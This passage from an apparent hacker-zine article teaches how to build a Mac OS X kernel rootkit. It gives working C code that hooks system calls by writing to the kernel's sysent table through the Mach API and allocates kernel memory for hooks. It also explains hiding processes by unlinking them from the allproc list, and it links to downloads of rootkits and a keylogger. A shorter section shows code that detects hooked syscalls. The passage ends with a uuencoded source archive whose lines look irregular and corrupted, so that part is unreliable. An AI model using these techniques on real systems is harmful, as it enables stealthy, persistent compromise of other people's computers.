The address to the SYS_kill handler is now available in the sys_kill_addr variable. Replacing a syscall handler is as simple as writing a new value to the same location using the vm_write() function. In the example below we replace the SYS_setuid system call handler with the handler for SYS_exit, which will result in the termination of any program that calls SYS_setuid.

```
SYSENT *_sysent = get_sysent_from_mem();
mach_port_t port;
pointer_t buf;
unsigned int r_addr = (unsigned int)&_sysent[SYS_exit].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_exit_addr = 0; /* final destination */
unsigned int sz, addr;
```

```
/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
        fprintf(stderr, "failed to get port\n");
        exit(EXIT_FAILURE);
}

/* read len bytes from r_addr, return pointer to the data in &buf */
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
        fprintf(stderr, "could not read memory\n");
        exit(EXIT_FAILURE);
}

/* do proper typecast */
sys_exit_addr = *(unsigned int*)buf;

/* address to system call handler pointer of SYS_setuid */
addr = (unsigned int)&_sysent[SYS_setuid].sy_call;

/* replace SYS_setuids handler with the handler of SYS_exit */
if (vm_write(port, (vm_address_t)addr, (vm_address_t)&sys_exit_addr,
                      sizeof(sys_exit_addr))) {
   fprintf(stderr, "could not write memory\n");
   exit(EXIT_FAILURE);
}
```

Now if any program calls setuid(), it will be redirected to the system call handler of SYS_exit, and end gracefully. The same thing that can be done using a kernel extension can also be accomplished using the Mach API.

In order to actually create a wrapper or completely replace a function some kernel memory is needed to store the new code. Below is a simple example of how to allocate 4096 bytes of kernel memory using the Mach API.

```
vm_address_t buf; /* pointer to our newly allocated memory */
mach_port_t port; /* a mach port is a communication channel between threads */

/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
   fprintf(stderr, "failed to get port\n");
   exit(EXIT_FAILURE);
}

/* allocate memory and return the pointer to &buf */
if (vm_allocate(port, &buf, 4096, TRUE)) {
   fprintf(stderr, "could not allocate memory\n");
   exit(EXIT_FAILURE);
}
```

If everything went as planned we now have 4096 bytes of fresh kernel memory at our disposal, accessible via buf. This memory can be used as a place to store our syscall hooks

-[5.2 - Direct Kernel Object Manipulation

It is not just system calls that can be hijacked using this technique, it also works just as good to manipulate various other objects in kernelspace. A good example of such a object is the allproc structure, which is a list of proc structures of currently running processes on the system. This list is used by programs such as ps(1) and top(1) to get information about the running processes.

So if you have processes you want to hide from a nosy administrator a nice way of doing so is by removing the process proc strcuture from the allproc list. This will make the process magically disappear from ps(1), top(1) and any other tools that uses the allproc structure as source of information.

The allproc struct is, just as the nsysten variable, a exported symbol of the kernel. To get the address of the allproc structure in memory you may do something like this:

```
# nm /mach_kernel | grep allproc
0054280c S _allproc
#
```

Now that you have the address of the allproc structure (0x0054280c) all you need to do is to modify the list and remove the proc structure of the preferred process. As described in "Designing BSD Rootkits" [11] this is usually done iterating through the list with the LIST_FOREACH() macro and removing entries with the LIST_REMOVE() macro. Since we can't modify the memory directly we have to use a wrapper utilizing the vm_read() and vm_write() functions, which we also leave as an exercise for the reader to implement. :)

--[6 - Detection

Detecting kernel rootkits can be very difficult. Some well known rootkits leaves traces in the filesystem or open network sockets that can be used to identify them. But this is nothing every rootkit does and wont help you to spot unknown rootkits.

Keeping a known good list of the sysentry table and comparing that to the current state is another way to try to identify if syscalls have been modified. A popular workaround for that is to keep a shadow copy of the entire syscall table and modify the interupt-handler to the use the shadow table instead of the original one. This will leave the original sysentry table intact and anyone looking at it will find it unmodified even though all syscalls are still re-routed through the malicious functions. Another way is to replace the entire interrupt-handler as well as the sysentry table.

Rootkits that intercept syscalls and modify the contents can sometimes be found by the fact that the buffer used to return data has junk at the end. Rootkit developers could surely fix this problem, but they often don't. Other indications of mischief is that calls that only returns counters, for instance the number of running processes, systematically doesn't match the count of running processes when listed.

One way of finding hidden files is to write software that accesses the underlying filesystem directly and matches the files on disk with the output from the kernel. This requires writing filesystem software or finding a library for the specific filesystem used. The upside is that it is virtually impossible to intercept and modify calls to the raw device.

Rootkits that hide open ports can under some circumstances be detected by port-scanning, when more advanced rootkits often use port-knocking or other types out of band signaling to avoid opening ports.

Detecting rootkits is a cat and mouse game, and the only winning move is not to play.

-[6.1 - Detecting hooked system calls on Mac OS X

Now that you know how to hook system calls, we are going to show you a simple, yet effective, way of detecting if your system has gotten any of it's system calls hijacked.

We already know that we can get the location of the sysent array in memory by adding 32 bytes to the exported nsysent symbol. We also know that the nsysent symbol contains the actual number of syscalls available on Mac OS X, which is 427 (0x1ab) on 10.5.6.

Now, if we want to check if the current sysent array has been compromised we need something to compare it with, something like the original table. On Mac OS X the kernel image is a uncompressed, universal (Leopard) macho-o binary named mach_kernel found in the root of the filesystem. If we take a closer look at the kernel image we get this:

```
# otool -d /mach_kernel | grep -A 10 "ab 01"
[...]
0050a780        ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a790        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a7a0        00 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00
0050a7b0        01 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00
#
```

At 0050a780 we see the magic number 427 (0x000001ab), the number of available syscalls. If we look 32 bytes ahead we see the value 0x38cf94, can this be the start of the sysent array? I think it is!

All we need to is to copy the kernel image to a buffer, find the offset to the nsysent symbol, add 32 bytes to the offset and return a pointer to that position and we have our original sysent array. All this can be done with the following C function.

```
char *
get_sysent_from_disk(void)
{
        char *p;
        FILE *fp;

        unsigned long sz;
        int i;

        fp = fopen("/mach_kernel", "r");
        if (!fp) {
                fprintf(stderr, "could not open file\n");
                exit(-1);
        }

        fseek(fp, 0, SEEK_END);
        sz = ftell(fp);
        fseek(fp, 0, SEEK_SET);

        buf = malloc(sz);
        p = buf;

        fread(buf, sz, 1, fp);
        fclose(fp);

        for (i = 0; i < sz; i++) {
                if (*(unsigned int *)(p) == 0x000001ab &&
                        *(unsigned int *)(p + 4) == 0x00000000) {
                        return (p + 32);
                }
                p++;
        }

        return NULL; /* epic fail */
}
```

This function can later be used in a simple detector.

```
struct sysent *_sysent_from_ram;
struct sysent *_sysent_from_hdd;

_sysent_from_ram = (struct sysent *)get_sysent_from_ram();
_sysent_from_hdd = (struct sysent *)get_sysent_from_disk();

for (i = 0; i < 428; i++) {
        if (get_syscall_addr(i, _sysent_from_ram) != get_syscall_addr(i,
        _sysent_from_hdd))
                report_hooked_syscall(i);
}
```

Of course this method has it’s flaws. An attacker may manipulate the SYS_open syscall and redirect the call to a rogue copy of the kernel image if the file /mach_kernel is accessed. This can be overcome by always keeping a fresh and clean copy of the kernel image on a non-writable media.

This method is also not capable of detecting inline function hooks in the system call handler functions, that’s a modification left as an exercise for the reader to implement.

--[7 - Summary

Rootkits on Mac OS X is not a new topic, but not as well researched as i.e. rootkits on Windows or Linux. As we have shown, the techniques used is quite similar to the ones used on other unix-like operating systems. In addition to this OS X has some extra goodies, like the I/O Kit framework and the Mach API, that provides really useful features for people trying to subvert the XNU kernel.

Manipulating syscalls, internal kernel structures and other parts of the XNU kernel is a great way to hide processes, files and folders and even to place backdoors accessible directly from userland. All this can be achieved using either a kernel extension or the Mach API, and if done right almost impossible to detect. Both techniques have different advantages and it’s up to you to choose which technique to use in your own rootkit.

The purpose of this article was first and foremost to give a basic understanding of the subject and is intended as an entry level tutorial for anyone wishing to implement their own OS X kernel rootkit and we sincerely hope that it helped to shed some light on the subject.

--[8 - References

[1] Landon Fuller - Fixing ptrace(pt_deny_attach, ...) on Mac OS X 10.5 Leopard
     http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html

[2] Apple Developer Connection
     http://developer.apple.com

[3] Apple - Darwin source code
     http://opensource.apple.com/darwinsource/

[4] Apple Kernel Programming guide
     http://developer.apple.com/documentation/Darwin/Conceptual/KernelProgramming/keepout/keepout.html

[5] nemo of felinemenace
     http://felinemenace.org/~nemo/

[6] I/O Kit Device Driver Design Guidelines: Kernel-User Notification
     http://developer.apple.com/documentation/DeviceDrivers/Conceptual/WritingDeviceDriver/KernelUserNotification/KernelUserNotification.html

[7] Linux on-the-fly kernel patching without LKM
     http://phrack.org/issues.html?issue=58&id=7#article

[8] phalanx rootkit by rebel
     http://packetstormsecurity.org/UNIX/penetration/rootkits/phalanx-b6.tar.bz2

[9] WeaponX rootkit by nemo
     http://packetstormsecurity.org/UNIX/penetration/rootkits/wX.tar.gz

[10] logKext keylogger by drspringfield
      http://code.google.com/p/logkext/

[11] Designing BSD Rootkits by Joseph Kong
      ISBN 1593271425

--[9 - Code

```
begin 644 code.tar.gz
M'XL("!LM]TD``V-O9&4N=&%R`.S]8Y1G3;,OBI9M=]FV;=NV;MJNZ
MW&7;KNJR3O?SO._27NOL<\?8>YU[Q]TYYJC\S\P,9,0O8N:'F#6-[(Q-Z`#^
M]S;ZWXV-A>7OGI7UKYZ>D?GO_N\&P,#`P,;(P,C`RL((0,_P>QD+`#[+_V:]
M_FHN3LX&COCX`(9V3DXF_S?K?B\S-?WO4.B_MQG]\;^9B;.+A;&Y@9$5K;.9
MY_]R&7\<S,K,_%_XG_$O9___V/Q,C*Q,+,^-OG#`PL3(S`.#3_R_7Y#]I_W_N
M?[Q("`!H+BL)`.`+'@NG]9&$=\N/B/`MK_#J9HD-?-6(1FZ<RT3C:@HR61N;
M<GQ'<D(@0#2`LS`J/O.O@ZM'&+@]#&T4$26-?G")O$ZSCM+2TL[C/I;'E!'C
MDE@[S>C2#O8V98U'/M2O1&3BK_E>3.Z9R$#"'T#@,QZZ*D5@";E5HO56IYX=
M0?*#/VFZ(>#Z2N9ME,T[EQ\J/L"7FBW:&DO:[2^VV<IA6=;TDD00U_02VE,?
MMW\DKW^.+BWPAF[KSC]@#W:X+M,%,=<12K1?TMTI-GR`OF(X9!HQ?;WZ;7U^
MO?%5CP@`L\ABNAIMS&*9#IJ_S_5%0VYT!LN5[@[@=!KTDP7.4+S[P?26W'2O
MJLN[M^[V;V+Y^^;)@T>K&L%_9K&(1N=B38Q@GVA&R]UH@W=X[D/5V1>"HZ#Y
M[P($GX]$_7Q&_+QD^\3Z[/W.5WJ3Q#\%&"/O#A#!^3[PZU3+'PD3^WT.X!CA
MAU?[F5[]9^_K&K9=4U3")]T=$-ZCG\0.A^$7:+S7Z==ZVZ>INI$31_^)>4VL
M&<W==O%379^MTZ.O'9UGQ[9FARS5\Z(CGO:=756FJ5-+;ZL8`JE[!,P$<K`4
M?#M\ZL%J\1/F2,SABA!]0=1<OY:S%1;R':3_R<Z4P7?QZT'0L/MBEVA`)VNM
M&G2"YUS_^M!KG@OUI$!0E[X4<#8M<'-F^/G>8(G#^?+^]_(
M$;P_>,MFL'[1C;%\]CW^<G$_GB(0!/FP&T'1T<4TU&KOVB""(3MY.4CITWQ+
M&!OUDQR#M-''F:UG82BY`?WDG-42@!-8_"QB]/_)S2TF_`AH@E!C\"T',)#=
M_))D]35BP(KN'4CD'BH)1V<6/^5*&X\18-V!'>A$_^F1OD,!@I/EP>J)'ACS
M5,9]'[]M$`26F00,BN7A.F+`0$5>A%-Z(9G2/H&&T'R-`LX(5;W$!!6AV_.F
M;F9M*S>/L2=GY::/K3848NUT`\Q87G)&M,5(&RO%MB"/+]Z44,:#87!LP`TB
M">.;TPE?JWN@;?IV@D3Z5@IV*LD2J8KF+?;MZTBSHOE-Y:G$,M16.>,,-0F
MQH?4H?>`O>W)R_%B0%Z\.6YGH^\Z<#)P9Y(7R>'MNT/@/D'32
M-TV*#\)BW.O]8\'U-DY(\05A5+N`K,5D+W:Q.6'6/4[Q.Z)<%7GV0?F%#7>-
M/E%SV;M3<=W.<3YF(@5:*L$BQ%N-:D5-=0_.:TRN'D*[$!<F:IA3/=6_K,!0TT2#7=
MY(DTBV7>!**$PEZUBM$(WB4B$80)N77GD2PE9O%[0\;O/T9I$L6E(Y\>=0_%
M][7@S>G4JB,OOS9C+R&WU#'S1-_I;@.A/G,'R@>DWGNC*ZL^PM4S]'OI_:AJ
MM$3SO^`O:\*\?P>;[([>WE>UMAC?YLR4O?.[0ZZ=XQN$UNQ[B,O'_N=QY&[G
MXZ?<]5-,S[G?A<Z[*R\_=`*RX'%N)]DH3]-7S>(9-1JI;?,KNH^SKR-W!S]_
MX2)FUF7A1_HQS6?S8D=GI]492`5'RS'(K$TVUR,0U]8@)((7.,14.-MJJ*'W
M6?A9WV8XP^/6=3=G1S_\-9?13-OP,4!]WZ_S=-Y1,9H["/QW[44O_"\N;AY+
MT%XA[?FFZYN#A1QJF0M1\8[]DX.)RKH\-5YW-PL9:6_#\T2GS<S@G=H"1,"
MX"BECT^,';1-`.S%T$`U*M$2>-ZT4T;.3T:Z`FS>$%B(&.[X*N$E;(0@QZRO
MY??LS/XJOQQQ.TT."Y^C'>B*1.2R#J:]1KLU>JQVJ@ZX%OY7_>-'W!/A1T_A4
M[);?R29\>]Y,T2\(8O/T[<)(CFW2\P*1IQA*Z@%W+D2,EZ"B^7F=F5I/RJY3
M:C#+?[F;F:<5]XVW%&%?'8D\[]:;'9[Z"H$PWC,O$F=*<0>IW536]<
M*,;&K,:+9STC0[XUHQJ7\1I9`#'9;&XFO&?]$=9Y.3/#6LQ\IJ`\8":GO--V
MN?Y:^V+!*-FP`."!P_YUH@PWB,CK-(JA[.K[NYE'C`UOJNKE?N6ARW+_*^Q4
M\$++BG^TX<E,H`U&UN4MK`0%(,^>`!E."6%(.D3G&!'SY2AHRZ>1193=9*AG
MM22"@O_+)6;3UHH4B\-W'22FZOS!Y9F!_CR5RVSLVGF)?MIV5R0+](='*3OC
M4V@WT^4H&,$J(&CG!:B@#8Q$!S`AS6K>GF%2R&DMLI'D0BYXA$JLUH[04#@4
M7[/!,AE]<8DK!@E\N0<&6]G!4)H;[=.PG9*@:U[7T9AZ?">%4\$W]XJ@3JR@
M9S+?L9V@S<!<(L[1A\A=3#6J;[@R+O/#U0C.]M<&$R8H*,0-/XM"7VW4W,*>
M3+3%R.-]X[:IX)?M,N!S8]\4A+OB%7XJWV#&:-$T\"X"Q*.1,BB
MXR&?)G.&F8Q3U;&`HVE+!L<**J21](C13&<T8J]Q,YB\K=V16G?S&=1)>P7.
M.1@[<P^DF4G#'((@#F9I.198,ZW_T=(V%4P7:AI#+?P=+?`K$#,!*MO
MNA4)@.L+OPM+A9<SX=_8P!/P6F3E:(K<,\(Y5ZK<0+:7D^;%9Q,'CCC!_&$I
MW?6-R@9EZ18'K]9NZT-9+PI5/B?A;,H:7:OH7N=45A'/4)PJ>8%BTRWG2MOH
M>G-`MZB!PJ*/"LFG8RLH?,+?)O+CPAIEP=9\S^NGF!@T/4)1A;6[YIY8J9DA
M3RAAL'NI5J+;\J/8<=!4B*9%)4._S$FM`(MH3O<)+0]=;8\PK;%MS,="8VVM
M`!I[HH9F[JYZ:T>'G2>O[?QP!U..`!LSF43CMF9S12U@3ZR-X2B\I#-ZHUCP
MQ8D#=PL-:Y4=):\L,-93Y>Y4PW@3MU<](7(C<GZZ/H)]?JO7+-T41L`8*2@_
MV6M0]R]'9ZXS)(9X_F+OMV[G7\\(B:)ADQ[+8-EIM0E5>#%OMM@4"L8;5J?A
M9W7KIPX)DQ;=/7P^PTZ"#?7S$-F:$-I>>14@`C]1</.\,.E<WDA(G+VRM"LE
M40!'JGAGH+GUPN@14"3.(AC)(G5$SA/B8>.,B[N^AUGDO"=#(7ANY!$Y9($4
MPX1@>L<3YYPO">QX@`EV`0]G\/DQRZ$Q[G2\V_=1)/QX`N\++7$],`B!)5U$
M_H#*E&Y@)M,3-!(^?DV%"]ENU?])*BT)_^*L?@_.LZX]7=US=2IA>0NG&.#/
MAZ"(1R-*LFFDBR-@;=USO)Y'^DL+9%G2I?HGD(1&:JNBA$,`MJS+X-U<PX]$
MQ1"T"<:Z"L3)W"AN^^\6.@LLH!ADS&UZ)PLR-*G&?>#+2YY=!<XA02U#T+.-
M[`'J:"R#)Y@M^:*%0^D8!LBQW9+21;[';1X>#QJ-O@)%-Y"4Z=4&^$$&U>NVM
M86_W-*]0/U[1P@W?9O@:7;\74Z$_%CA#6)#$]?R*^5!)<NBU<S9SW]=`0G_E
MDRV,,>4LGP_V":(IX5'G0-<;0_&]'Z0/3]BAZ$>BV05N.5YQPK6$*6:F-EXR
M(5$)0!:H:!B(HZ1AL>Z&3DC]0<-E)TQ[=FT-/82)S$M36U.WSR7XP@V9$24<
M(Q0Q0J"@A`CNYYX_1:!B4ZAX6P+\)1Q8Z-S#ML`YJKLB6V(P`.6X-R#%D5/O
M:>Q-AJ1"=D),DMAL93*MBEF^%Y:)Z10`RWDT,);)=J2*ZV*4<6<?<CVV,R$U
MM?V@Q9-[8&Z`"=AO1)41/8T1QUS+RRMRI!CW;?9'X'B8*"6Z#.SN`J+<#RA2
MC*M5J8D)^JG)!P:)EZ0^8SJ",H>R559_:]$]R,ZT$L6IB'H7YO5SC19I2^@#
MK9$$%4:B\V](K*D:1@GT9*!2Y*IG_<PD#&Y$-I*,@_HMFCHP1@B/:J=%926:
MMIE+PKY`5GMRJVJ6E:4_Q3E^BBL<N6F30:<$*ZN*[S0(DR0*>04#(A>IT>N;
M_J0+OG]>-1Z%X&H=P9A7AJ4=7_0Y?2FX#356/2M+2)6/U(Y/+FO((:/!/>OW
MR0+;[/B^BZ]'BW8XH<33SHPF-Y=B.4O[P&&YFE1E_BZM%P,)83&?W*J@:B\=
MD(G,U_\AQ;V:PQ?4' `VS^^K1WWY);8K:&,AQ:_`!8["5AY+<5THTFSJT)V5X
M2X$<^?Z[(ZEOXPH7$3@?X)^4&O2U6T%DF7W6%3N!Y:0+'YXB15O$$:<^BO'P
MBZ8N?']OC"J@)!282PA((W8HZR;2$,5P^KI=23M-NH3(X7*/P`&7.U'OLP<C
M$#1I"UJ';\)%?U-V!,C!#S'O8#)?RA(OT#>13$N8T'%BR3!P@M+U9D#0P52M
M0[*6=`MP/PF=JA:R\CDEH2;T#D\!S4Y@D9YZ<T#(>X_3%3PH)1I7S(0Q,F"<
ML$,WD@4+?B'TE(8%7#X@3$2PZ]670:/@:3P(GZ'V@%)[2U(F4+\R?`^H_.FC
M;LPV38)&1!)\Z\$`>)MKN+Q8RQ1VT!6HCX/VFLP,IP$2!`/MP308C:?-+P9C
MO.I&SBXS)'+E*&`-NUK""QR:=`4$Q-)=.`HH_4[#WPK6(U1[;9J'Q;0IHH:A
M1=Z$`H)XA7CRH82A?N&VT')12+$47OA6$CYK]X@TE5H32AK"M90-Z8E/!AR5
MZF_G$971N7+O3^<'OYG@*!M!8))VLVFR"]#:PG3+=JUW3G`M0)('YY.9%'$%
MXR;*GZ:LMA`(!PUB#0Y::3$+__7<BN<KR1;%E_7.98].X5KR<BA]#X[(4U[7
MNT[<IT[#(U6BZ,F<S'AQ-VD2W;^\9(:>D7&%:9ML31/C%-_$Y3LE^LM"<Z;B
MB-SH>UDX/AK=H#ZCG6)2?ULD.<NI8]-%FPH57GUDHZV/+-J:D"RB<+(2`<(Q
MJHC"(>S!>"];]R`3U@OTCY[>1[C<[2:L^.B1Y`E3]*/1N\VW2[F4<6QO9/<0
M*=UQO)AQ,>0X_$H(B)]^"JUD2^9F1Q,@/=VKWQH+6C8B-`#4OH$U7+2HXAW.
E>1GUA>OJRH)(*A&4#*JEEUD%:1<,-345!4TW+8S<Q1^/>P/#(&=C$Z5J:S$
M9]<H]8SF;N,LAWUZ6GK-GHYE$3Z1R,BSUTR49Y$V%LX!:)9#Z9@0UV[VLWV+
M5$2G_!9TY.5[_JMZH[T^@G?K>SV=K=MFUR)MCR/9J=DZPZ>_HG,B)\FG![X*
M=\E$O4W&ZP"HA?S;<F@<6_VH)6A.N(]2$O_T<XXSJB2"G'HR^?1N2!*^+5Y0
M%SXN#8F:(L5@](W3!_](EOAW.3AOY\:TTTGF"0DDCP>:/=1PED=B!/*\V`*T
M_"*F-0];"_;]UP)(K@+("%*5>9!I<&@%D)S3-N4Y$-,DAP*ZZEL8\!:>9@XZ
E717$;8Z^L<#5`&K1)-HGIQS*?H>"T>Q*5F2ZD;1R(LOGU#>+.\>C(WS>U`.
F-,',WFN8]FGNOLCBFPYOXF&WJ>VZQ.W--/CNRZ%G+:\KKY#CSP'RV_+Q`)G
DRT-O`8IXNU,;P^5_!^&MJB3X=J?:V)^>*\B7\_[(Q)JT&P69@CKL7K9%%#<
PL`V("#QQ!#!R/16'+<D6H]J';I[0V9DAKCG@W:&EJ$N57V:6UZKXV#;/[RN
M[[7%YME%L&#6-^%N1U'MF^[?'6KFT3D!"F!?`I8.V1EM>.7O\BI7!E`N=0DN
MIZ8)!8(6GC8JGTJ5MU@Y+!<L_5&*":/%.=%B87''++K6X;!_0FB$!GV#31K%
M\I#5WP2QQ!-4E/^-CO<XY:05R(4SH?<([V"0^PC;112FH-L"9B;HKI`BI`;"
M7:]>P8;TW>71\S%I]E$H0ZZHR25:.:[C]67L`16<2FY08]AMZEQ^F_LA#5/J
MKG#Q9`]0JH8(@*O@*'_2!.6:(9HQHXQ#3&+1[@1EYW"K.D+0Q4G3YX8K**</
MI?!M@M0VG!F:&9Q?'?W(TGXB9N_%H:"J6MR$:^2N\>L&;O(B-QTFIF$:$R(U
MBZA+-W&1\$D;:05+,P[06&,.QV=#G+*.XW.9VS_$4D1JZ"H7F"YA3PSO#>SB
M.K\"!5NM!*Q4\BO9\2C6LBN:SB\DRHV-&2]5+C34KD)0<<ZAJEMT1E^=[1\]
MF-FOO<^TO=]_H7#XCNS:K]^LN'DQ%R'+=N]!EFK_*(;DV`ES(=5;XN0[#,,@
MB39."$W`RV5.\`"E*/#WQ\\_?A()EI6#/#MJ$+U@0E"+5F"]G+#(S'DTB=/F
M,QM2CFIV$N,`%_6=U]CVK=;8%J`YV:/M')>>91\37IX&C;\BN!W7'=#%5W`8
J\!?L$N!=APLY&CEZ4*Y'J)E-VMJ(%B=6K@GU]MY:(%`P1G6G/`&">LU$$W&
G?N"8JXD1I^8**,1=T:MIEZV_U;)]'2BRY1CU]EK/5YZ!B6WH_0!BK:BN!IV
V."AH9_IK$OB050Z5Y80)JPBQ`]W(>@EEKIL^\R>@0/1>-+AN`N9$%.X=:HD
JAH0J]O3H;I$:6Y!\8V%4!#"5F/5*,9WCEG$%=EQ!66AH$[ZFXXOL>DR07":
,5OO]>'!SEU&2N0%WE5.9!EK?T_@0'P2A@>P6X:LZ>&L)!0+-3)7E>Z@=YV>
%))!*EBWY%%<[BAG96""!F]W2&O&6<GY4#N'G?5+"H&M6@5RDZL531#M?=[O
T)(!&Y(N;5Y!K;4-QSU7T*O654JL/IC/Z;ZG9BPL#GU$P7"?G5B(9^8@,SC`
6.PH755A9S6%C0WP<)8.F2Z[N4E#99F@#1.HR,5+1`ZK<@J!*00<[)>W,!.;
NQA8_1F8;C9.'PE;RGH7FZ1_"D6EK7&MG.YI6.W:((U8N.@E+M.OQD47HL$R
XGF1X'(4U;QPOM1\<H&1P@1**1G#:M`YR^&IX!TH31Z@"E5_1L$XO+?FB3W9
:H(0-\#>RD7=O7=*!^K:T]9YE([4,E7;A9">&D\L+IY,3.RP=I2JH<P.7U(0
"RM3)^K=$XS?.>@&YI.L)%S-<Q)X&[^.25<?,UG+9>Q[#JSO0;-F1B,U?-:+
]=H23J0?L"@3ZHC?QIF/?0ZKQN!$SHAMNB15(^E]D355+^+K/=57/ZW0L"CG
O[F&].ZKIK"6Q;FPYE,-6Z^O9GMO:4LMGM=<,?N`]J!<1X>UR=VI&,""MJ=V
M8U*ID?%+!0]KN9;F%CK'"PWRGC$>2^CNFT+Y"KT<K.9%?#0NB&`1><R_VP$
G.D/)=PL<'X_QL.0GU%=7YE=^();Q/M2\UAYT[S.M80>L47X.<DEQ*9WX`+?
0.ZY^*JYZ7_H@E)90=UB\,L_($C,6\M'4`8VA@MK#<Z9\B>93%Z#DN5;L=MT
U;Z>7'!A\UF2@O(LY@/:BG+*=DDSUPU]/YF<[6B,ZO,$=D%HU%+COO\BJ=2Z
<L*$7-9JA6V#5=1I^F>,S['MEWM"M=D1WT\AP4W$Q^D[HZ5<`>.#PW)XNWC;
#'/L"KWBYQYVISSQ!B`'_Y7D@QIA5K@RS=ZS`'"1=.`U$?G9B!,<3BR?KA]=
MJ@3S'WH\MM-;J5+-WAEEDG;Q*7[8JOP7#I`LC!X2)W$M#\A6M[QQB8;([*(M
MO")Q4<F+D*I9;S5M&=K$9-_"7NCV.8;OJ2Z2V(!GQA6$PC0_(3T!N\5:O\N%
M9D%*Z0+=09R:A"]9Z?'Z5/C)LE`I+2PX!LH5,'SG9`'=[4.DIGE;3>,G$(QV
M,6%)=+?Y=EL1PH\>3\[7?XK:O8+QJVR9(QQ++Z4?7V/[4"+M>)1NECQEZ6@C
M,^,;LZ?S4-U9/0H(IC^EH!H&!UO'MX"P9\K:;DE%PV0OJ>$D==#V)?%P&U>^
MP*#2UY5&'XDB*I3)=QRM7T,'2M8TN6^><:5IKA)9-E01=T:EVI0(57PS=Q:+
MTW[=8;^4XI&6H04C#Y6=Z&KZ'`[XJ3*&D4V&6XDS^!.([4._@8B2?'>+T82>
MM]^5,N)2&R>X_$7\=+1WY@N9XK+).&8)+Y)P4EHQ]BL1^7W;/CRB@M4]!QU4
M),E=P,8>B"Q<$M@ATYCY6K,CYPI_`3\*K1]PQ;DC&LKFR;)YULV/[]F;P1KO
M_:.SN]:K-E!MTNI4;;)P"1!*28`55G5.`/HC#.`P6=;&"=S0?G#0V0.#FWZH
MQ1&#IXALDG22_G0=X!$R4]WM%NI.T(T?>3><W+EH-V_]R%CDI+SAAX./[#Y8
M$RF53K`F@G9!'9%U^S/*6KPU$>C[E]7U2<:\:,)69<>:H=[5Y56RRN7@T0\P
MR.\!3JY*@DCAE!CD$L2/W65-^%S*=7EQV.OM/_C:_>S][CK,1+>1D%H2+X"5
M\@/%>)@V>3XX,@Q.ND$57Z'$K>GV25!P!QH?L<PBU=#)I1J"Q[9XZ7]:8O0-
MS]GR@UXE$_6CV:H7NF4T09\%V5J^Q%I,&^1U.]<F'[)N](-<MB$'<%6NI;`:
M^"-&!?MU]%E$FK!)>L3N@G&>W*A9=FN],[P1ML0JJ1C6$F2U</K,6C_3E5F7
M]H+<T/U`%(_)EDN,#:]P[((F%G`E((8JT8,373:S[Z_#5MVT7=:JQ;[J[G8Q
M.*/D5\P6[U>0]>4P4N1T:9'FDSDV#5H.G[5Q>"2[@`2M7[004IY^TA)(O&F(
MSXXS!HF=@F_79"XT^N#&,8+J6Z/G$>(3M`Y`U*X31`4![X_%;]8LV$@)%:I?
M1-O!:P^SC5-\'>%FY&V56NU]`N:YSYI:^2QJ_]3W.:?EWC`(K4"AF?W%CW#N
M\QXM7J'=%+!;Y;S>[0I!#1C-%WS"?=M$%Q%^7(\?"T?J;`]8*C9R_AA[7EJ*
MPZK+;V:RGT)??];-%`K%.Q>^,7TN[%2[!(LDQ1VM@M/56!.GPE/DS-;H2=B;
MJ7&)"^#B=FN)1V"T0,.3N29$)&9??T_E!?KMX+U0%(#N@+"MV&SLN"+2U;)?
M7>_^B`TR-RYA]T<,671EEJ.AL?=[^`%_X:T\/&-T(9&/AV>2.MI7/9L#!M#>
LEAT/=<G<@=.3V+$%TB^4]A7C\3XD-\S*2@U['H5V`"I?U6]&Z6RKL*0!0@&
M8+BAND2^+Y`&'ONR5"NN]H`_+2QQ+@@[_AO^VB38#Y$CJXBE2H%&4GB[9:AK
M9Z,.9$I9]CX-'+NXH"HXE63A!IU@T88"A%CCQLT@KPIDN=$Z13<MTQM^_[AZ
M<$XO]Y;&DU>&$U5&&1VL2>G%OKP3T(+P-$&F11V4!C8&0*&(X$:7#0]+)(S4
M!6[:\JL'*#HJJ?C4D^B$L@Y]!@"#HD2^RJ"V9[O-AVPI0VZ(Q;PMMRN?LSB@
MG-Q%G3.0%7:S!]AFNXOKD8BTO$EM0"^([=ML<,W!U.4VAA.W&)F='`)AD88A
M[PIR4F,9QZVT4)2A40H!-SHRW>_6D(/7=JH$E@JYBPC(WPR[@42>(0:3](\W
M!MWOB_&$KFRM[/"/+2=K/_UW@%E,OE7Q6I[<AE5.[9+&I`QXT<^+EK`LDOV0
M9H65FG,6]?]YYOJ=];/*WWDM,"[EF,1D-D68>*>ZT25;Q5GO@.@9*P[A$?&'
M4\=]7%S)[<[+M(Q[L<D%[81UYL+!BI\[PN<;7&:N^`=T,I<%T$!^6'N:KW\1
MUS(V_#T(@R5.,(W"1L(R6_CSF`@=TK?]C4=>0U.",)WZ95[43A"`Y$EH1YZ,
M66N[S?!.3XR:UHA&C6H\6^SEW!H>/.M^;#_(+'.BF;U!#'3)$RGZH`OBR<:@
M4L6M#C%=?EP%.4ZBLJ!C;1I]S(&#9A)7T'H2J4$#KQ6L1Z\AE`=.1VK'#[-$
M4Z=)N`D/5_:K)_)?.04R6)`^[8M8<+*AEGJG36`TIAC@UA9F#I'3F8#S[?IW
MV'-R^\_>E8A%$2H4JZ'QR='&@>G).GXI!PASE"AJQA=$$#7FWHW/X(.J`KT)
M25=![[BX[)$<./78U^(/3&M9LP]L,=W^[,U#9Q(>"<,91PJYIP]:ZYW9QB08
M]"U&$Q4>36JZW\/&8I^^*>2(1]PJ:L"`H[K,HO,[>6VZ:@&2'(#J7DY`Q0C4
>F:2*5H4C+H?VF`ZT0Z$&45*."L+=J?^S&J`Y(D9A+O3;Q1-%:#RF!7EM6YG
MB@X"=G)$?,E21A%L]LW\?2):Q0G+WGAA_"#>CK$KBY[5'K-1J]2WV4W5BY8:
M5)ZICF>=)?E``JY`EWG8*DWE]M#NNG17&U601Z(^4FLVN]55;QJ>6F:#A6A3
ME0WB8>]GT3</V+H:@KR9R`@E?)$CE[BQ)*(C73G7$2\B@BE(\'3&*\0%A/+(
